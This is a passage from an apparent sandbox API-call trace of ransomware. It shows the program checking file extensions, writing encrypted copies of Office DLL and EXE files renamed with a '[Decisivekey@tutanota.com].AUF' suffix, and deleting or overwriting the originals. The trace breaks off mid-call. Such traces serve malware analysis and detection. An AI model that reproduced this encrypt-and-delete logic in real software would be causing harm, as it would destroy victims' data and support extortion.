SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.058] SetEndOfFile (hFile=0x214) returned 1 [0223.059] CloseHandle (hObject=0x214) returned 1 [0223.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.059] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll")) returned 1 [0223.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0223.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0223.060] lstrlenW (lpString=".doc") returned 4 [0223.060] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.060] lstrlenW (lpString=".docx") returned 5 [0223.060] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0223.060] lstrlenW (lpString=".pdf") returned 4 [0223.060] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.060] lstrlenW (lpString=".xls") returned 4 [0223.060] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.060] lstrlenW (lpString=".xlsx") returned 5 [0223.060] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0223.060] lstrlenW (lpString=".ppt") returned 4 [0223.060] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0223.060] lstrlenW (lpString=".zip") returned 4 [0223.060] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.060] lstrlenW (lpString=".rar") returned 4 [0223.060] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.060] lstrlenW (lpString=".bz2") returned 4 [0223.060] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.060] lstrlenW (lpString=".7z") returned 3 [0223.060] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0223.060] lstrlenW (lpString=".dbf") returned 4 [0223.060] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0223.060] lstrlenW (lpString=".1cd") returned 4 [0223.060] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0223.060] lstrlenW (lpString=".jpg") returned 4 [0223.060] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0223.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0223.060] lstrlenW (lpString=".doc") returned 4 [0223.060] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.060] lstrlenW (lpString=".docx") returned 5 [0223.060] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0223.060] lstrlenW (lpString=".pdf") returned 4 [0223.060] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.060] lstrlenW (lpString=".xls") returned 4 [0223.061] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.061] lstrlenW (lpString=".xlsx") returned 5 [0223.061] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0223.061] lstrlenW (lpString=".ppt") returned 4 [0223.061] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0223.061] lstrlenW (lpString=".zip") returned 4 [0223.061] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.061] lstrlenW (lpString=".rar") returned 4 [0223.061] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.061] lstrlenW (lpString=".bz2") returned 4 [0223.061] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.061] lstrlenW (lpString=".7z") returned 3 [0223.061] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0223.061] lstrlenW (lpString=".dbf") returned 4 [0223.061] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0223.061] lstrlenW (lpString=".1cd") returned 4 [0223.061] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0223.061] lstrlenW (lpString=".jpg") returned 4 [0223.061] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.061] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0223.061] lstrlenW (lpString="PJRESC.DLL") returned 10 [0223.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0223.062] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=261008) returned 1 [0223.062] CloseHandle (hObject=0x214) returned 1 [0223.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll")) returned 0x20 [0223.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0223.062] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.062] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0223.063] GetLastError () returned 0x0 [0223.063] ReadFile (in: hFile=0x214, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x3fb90, lpOverlapped=0x0) returned 1 [0223.103] WriteFile (in: hFile=0x230, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x3fba0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x3fba0, lpOverlapped=0x0) returned 1 [0223.106] ReadFile (in: hFile=0x214, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.106] WriteFile (in: hFile=0x230, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0223.106] SetEndOfFile (hFile=0x230) returned 1 [0223.106] CloseHandle (hObject=0x230) returned 1 [0223.106] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.106] SetEndOfFile (hFile=0x214) returned 1 [0223.109] CloseHandle (hObject=0x214) returned 1 [0223.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.109] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll")) returned 1 [0223.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0223.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0223.110] lstrlenW (lpString=".doc") returned 4 [0223.110] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.110] lstrlenW (lpString=".docx") returned 5 [0223.110] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0223.110] lstrlenW (lpString=".pdf") returned 4 [0223.110] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.110] lstrlenW (lpString=".xls") returned 4 [0223.110] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.110] lstrlenW (lpString=".xlsx") returned 5 [0223.110] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0223.110] lstrlenW (lpString=".ppt") returned 4 [0223.110] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0223.110] lstrlenW (lpString=".zip") returned 4 [0223.110] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.110] lstrlenW (lpString=".rar") returned 4 [0223.110] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.110] lstrlenW (lpString=".bz2") returned 4 [0223.110] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.110] lstrlenW (lpString=".7z") returned 3 [0223.110] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0223.110] lstrlenW (lpString=".dbf") returned 4 [0223.110] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0223.110] lstrlenW (lpString=".1cd") returned 4 [0223.110] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0223.110] lstrlenW (lpString=".jpg") returned 4 [0223.110] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0223.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0223.110] lstrlenW (lpString=".doc") returned 4 [0223.110] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.110] lstrlenW (lpString=".docx") returned 5 [0223.110] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0223.110] lstrlenW (lpString=".pdf") returned 4 [0223.110] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.110] lstrlenW (lpString=".xls") returned 4 [0223.110] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.110] lstrlenW (lpString=".xlsx") returned 5 [0223.110] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0223.111] lstrlenW (lpString=".ppt") returned 4 [0223.111] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0223.111] lstrlenW (lpString=".zip") returned 4 [0223.111] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.111] lstrlenW (lpString=".rar") returned 4 [0223.111] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.111] lstrlenW (lpString=".bz2") returned 4 [0223.111] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.111] lstrlenW (lpString=".7z") returned 3 [0223.111] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0223.111] lstrlenW (lpString=".dbf") returned 4 [0223.111] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0223.111] lstrlenW (lpString=".1cd") returned 4 [0223.111] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0223.111] lstrlenW (lpString=".jpg") returned 4 [0223.111] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.111] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0223.111] lstrlenW (lpString="PRJRES.DLL") returned 10 [0223.111] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0223.112] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=3943312) returned 1 [0223.112] CloseHandle (hObject=0x214) returned 1 [0223.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll")) returned 0x20 [0223.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.113] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0223.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0223.113] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1 [0223.113] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0223.113] ReadFile (in: hFile=0x214, lpBuffer=0x3e50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0223.381] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x140e85, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0223.381] ReadFile (in: hFile=0x214, lpBuffer=0x3e90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0223.531] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0223.531] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x382b90, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0223.531] ReadFile (in: hFile=0x214, lpBuffer=0x3ed0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ed0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0223.594] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.594] WriteFile (in: hFile=0x214, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0223.614] SetEndOfFile (hFile=0x214) returned 1 [0223.617] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0223.617] WriteFile (in: hFile=0x214, lpBuffer=0x4029088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4029088*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0223.618] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x140e85, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0223.618] WriteFile (in: hFile=0x214, lpBuffer=0x4029088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4029088*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0223.697] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x382b90, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0223.698] WriteFile (in: hFile=0x214, lpBuffer=0x4029088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4029088*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0223.699] CloseHandle (hObject=0x214) returned 1 [0223.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0223.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0223.699] lstrlenW (lpString=".doc") returned 4 [0223.699] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.699] lstrlenW (lpString=".docx") returned 5 [0223.700] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0223.700] lstrlenW (lpString=".pdf") returned 4 [0223.700] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.700] lstrlenW (lpString=".xls") returned 4 [0223.700] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.700] lstrlenW (lpString=".xlsx") returned 5 [0223.700] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0223.700] lstrlenW (lpString=".ppt") returned 4 [0223.700] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0223.700] lstrlenW (lpString=".zip") returned 4 [0223.700] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.700] lstrlenW (lpString=".rar") returned 4 [0223.700] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.700] lstrlenW (lpString=".bz2") returned 4 [0223.700] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.700] lstrlenW (lpString=".7z") returned 3 [0223.700] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0223.700] lstrlenW (lpString=".dbf") returned 4 [0223.700] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0223.700] lstrlenW (lpString=".1cd") returned 4 [0223.700] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0223.700] lstrlenW (lpString=".jpg") returned 4 [0223.700] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0223.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0223.700] lstrlenW (lpString=".doc") returned 4 [0223.700] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.700] lstrlenW (lpString=".docx") returned 5 [0223.700] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0223.700] lstrlenW (lpString=".pdf") returned 4 [0223.700] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.700] lstrlenW (lpString=".xls") returned 4 [0223.700] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.700] lstrlenW (lpString=".xlsx") returned 5 [0223.700] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0223.700] lstrlenW (lpString=".ppt") returned 4 [0223.700] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0223.700] lstrlenW (lpString=".zip") returned 4 [0223.700] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.700] lstrlenW (lpString=".rar") returned 4 [0223.700] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.700] lstrlenW (lpString=".bz2") returned 4 [0223.700] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.700] lstrlenW (lpString=".7z") returned 3 [0223.701] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0223.701] lstrlenW (lpString=".dbf") returned 4 [0223.701] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0223.701] lstrlenW (lpString=".1cd") returned 4 [0223.701] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0223.701] lstrlenW (lpString=".jpg") returned 4 [0223.701] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.701] lstrcmpiW (lpString1=".EXE", lpString2=".AUF") returned 1 [0223.701] lstrlenW (lpString="OSPPREARM.EXE") returned 13 [0223.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0223.701] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=15712) returned 1 [0223.701] CloseHandle (hObject=0x214) returned 1 [0223.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe")) returned 0x20 [0223.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0223.702] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.702] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0223.704] GetLastError () returned 0x0 [0223.704] ReadFile (in: hFile=0x214, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x3d60, lpOverlapped=0x0) returned 1 [0223.722] WriteFile (in: hFile=0x1d8, lpBuffer=0x3e50020*, 